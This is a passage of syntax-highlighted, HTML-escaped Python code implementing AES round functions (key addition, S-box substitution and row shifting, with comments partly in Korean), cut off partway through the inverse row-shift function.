&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;add_round_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;sub_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SBOX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;inv_sub_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;INV_SBOX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;shift_rows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# column-major: r0=[0,4,8,12], r1=[1,5,9,13], r2=[2,6,10,14], r3=[3,7,11,15]
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;rot_left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rot_left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rot_left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rot_left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rot_left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;inv_shift_rows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# 오른쪽 순환(역방향)
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;rot_right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rot_right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rot_right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rot_right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rot_right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;
